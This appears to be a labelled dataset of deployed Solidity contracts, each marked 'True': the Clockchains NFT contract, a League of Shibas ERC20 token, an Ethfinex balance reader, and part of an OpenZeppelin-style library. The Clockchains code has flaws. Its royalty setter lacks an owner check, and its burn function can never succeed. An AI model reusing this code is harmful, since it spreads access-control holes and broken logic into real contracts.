require(address(this).balance >= value, "Insufficient balance!"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if(success) { return returndata; } else { if(returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if(value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if(value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name = "Clockchains v1.0"; string private _symbol = "CHCLOCKS"; address[365] private _owners; bool private _postBigBang = false; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) {} function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(_postBigBang == true, "Attempted to peek before Big Bang."); address owner = _owners[tokenId]; return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "Not authorized!"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "Not authorized!" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "Nonexistent token!"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "Attempted transfer to non ERC721Receiver implementer!"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "Token does not exist!"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { require(1 == 2, "Disabled function!"); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { require(1 == 2, "Disabled function!"); } function _mint(address to, uint256 tokenId) internal virtual { require(1 == 2, "Disabled function!"); } function _bigbang() internal virtual { address[365] memory _tempMem; for(uint256 i = 0; i < 365; i++) { _tempMem[i] = 0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907; } _owners = _tempMem; _balances[_msgSender()] = 365; _postBigBang = true; } function _burn(uint256 tokenId) internal virtual { // Instead of messing everything by removing the index, we just transfer the asset to the burn addy. require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); address from = ERC721.ownerOf(tokenId); address to = address(0); _transfer(from, to, tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); require(to != address(0), "Cannot transfer to zero addy!"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if(to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if(reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {} } pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "Owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return 365; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "Global index out of bounds!"); return index; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) public {} function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if(tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {} } pragma solidity ^0.8.0; abstract contract ERC721Burnable is Context, ERC721 { function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _burn(tokenId); } } pragma solidity ^0.8.0; interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } pragma solidity ^0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if(!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if(valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if(lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } pragma solidity ^0.8.0; library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Decrement overflow!"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } pragma solidity ^0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow!"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow!"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow!"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "Division by zero!"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Modulo by zero!"); return a % b; } } pragma solidity ^0.8.0; contract IERC2309 { event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress); } pragma solidity ^0.8.0; contract Clockchains is Context, ERC721Enumerable, ERC721Burnable, IERC2309 { event ReceivedRoyalties(address indexed creator, address indexed buyer, uint256 indexed amount); using Counters for Counters.Counter; using SafeMath for uint256; bytes4 public constant _INTERFACE_ID_ERC2981 = 0x2a55205a; // Default URIs string private _baseTokenURI = "https://arielbecker.com/Clockchains/token.php"; string private _contractURI = "https://arielbecker.com/Clockchains/contract.php"; string private _contractJSON = '{"name": "Clockchains v1.0","description": "Clockchains are 365 onchain-stored clocks that display the date, time, and lunar phase, according to the tier.","image": "https://arielbecker.com/Clockchains/assets/img/chclocks.png","external_link": "https://arielbecker.com/Clockchains","seller_fee_basis_points": 1000,"fee_recipient": "0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907"}'; string private _htmlTemplate = ''; // Royalties uint256 private royalties_percentage = 10; // Other internal values address private smart_contract_owner; Counters.Counter private _tokenIdTracker; bool private _preBigBang = true; bool private _frozen = false; constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) { smart_contract_owner = _msgSender(); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address temp = super.ownerOf(tokenId); if(temp == address(0)) { return smart_contract_owner; } else { return temp; } } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_tokenId >= 0, "Token ID cannot be less than zero!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "?id=", Strings.toString(_tokenId))) : ""; } function contractURI() public view returns (string memory) { return _contractURI; } function setContractURI(string memory _uri) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _contractURI = _uri; } function setContractJSON(string memory _json) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _contractJSON = _json; } function setBaseTokenURI(string memory _uri) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _baseTokenURI = _uri; } function setHTMLTemplate(string memory _html) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _htmlTemplate = _html; } function Freeze() public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is already frozen!"); _frozen = true; } function MassMint() public virtual { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_preBigBang == true, "Big Bang already happened!"); require(_frozen == false, "Contract is frozen!"); _bigbang(); _preBigBang = false; emit ConsecutiveTransfer(0, 364, address(0), 0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907); } function retrieveContractMetadata() public view returns (string memory) { return _contractJSON; } function retrieveData(uint256 _tokenId) public view returns (string memory, string memory) { require(_tokenId >= 0, "Token ID out of bounds!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); string memory data = _htmlTemplate; string memory metadata = ''; if(_tokenId >= 0 && _tokenId < 5) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Stygian Chronosphere"},{"trait_type":"Textcolor","value":"#FF1A03"},{"trait_type":"Foreground","value":"#FF1A03"},{"trait_type":"Background","value":"#000000"}]}'; } else if(_tokenId > 4 && _tokenId < 25) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Taskukello"},{"trait_type":"Textcolor","value":"#FFFFFF"},{"trait_type":"Foreground","value":"#FFDB51"},{"trait_type":"Background","value":"#000000"}]}'; } else if(_tokenId > 24 && _tokenId < 54) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Clepsydra"},{"trait_type":"Textcolor","value":"#4639E5"},{"trait_type":"Foreground","value":"#FFFFFF"},{"trait_type":"Background","value":"#BAA86F"}]}'; } else if(_tokenId > 53 && _tokenId < 209) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Shizhong"},{"trait_type":"Textcolor","value":"#FBF5E0"},{"trait_type":"Foreground","value":"#FBF5E0"},{"trait_type":"Background","value":"#1F456E"}]}'; } else if(_tokenId > 208 && _tokenId < 365) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Horologium"},{"trait_type":"Textcolor","value":"#FFFFFF"},{"trait_type":"Foreground","value":"#FFFFFF"},{"trait_type":"Background","value":"#0C0033"}]}'; } return(data, metadata); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function hasRoyalties() public pure returns (bool) { return true; } function royaltyAmount() public view returns (uint256) { return royalties_percentage; } function setRoyaltyAmount(uint256 newpercentage) public { require(_frozen == false, "Contract is frozen!"); royalties_percentage = newpercentage; } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltiesAmount) { require(_tokenId >= 0, "Token ID cannot be less than zero!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); if(_salePrice > 99) { // Only makes sense to pay royalties if the sell value is more than 100 wei; otherwise, who cares? uint256 valorRoyalties = _salePrice.div(100).mul(royalties_percentage); return(smart_contract_owner, valorRoyalties); } else { return(smart_contract_owner, 0); } } function royaltiesReceived(address _creator, address _buyer, uint256 _amount) external { emit ReceivedRoyalties(_creator, _buyer, _amount); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-05-24 */ pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract LSHIBAS is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('League of Shibas', 'LSHIBAS', 0) public { _mint(msg.sender, 1_000_000_000_000); } }

True

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pragma solidity 0.4.25; // Ethfinex 2018 contract WrapperInterface { function balanceOf(address who) public view returns (uint256); function depositLock(address who) public view returns (uint256); } contract BalanceReader { function allBalances(address[] _tokens, address _who) public view returns (uint256[] balances, uint256[] locks) { balances = new uint256[](_tokens.length); locks = new uint256[](_tokens.length); for (uint i = 0; i < _tokens.length; i++) { balances[i] = WrapperInterface(_tokens[i]).balanceOf(_who); locks[i] = WrapperInterface(_tokens[i]).depositLock(_who); } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-13 */ // SPDX-License-Identifier: MIT LICENSE /* _ _ __ __ _ _ /\_\ /\_\ \ \ / / /\_\ /\_\ / / / / / / \ \ / / / / / / / / / / / / / / \ \ / / / / / / / / / / /__/ / / \ \ / / / / /__/ / / / /\_____/ / \ \ / / / /\_____/ / / /\_______/ \ \ / / / /\_______/ / / /\ \ \ \ \ / / / / /\ \ \ / / / \ \ \ \ \ / / / / / \ \ \ / / / \ \ \ \ \/ / / / / \ \ \ /_/_/ \_\_\ \__/ /_/_/ \_\_\ */ pragma solidity ^0.8.0; //context /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; //ownerable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; //pausable /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // address pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as 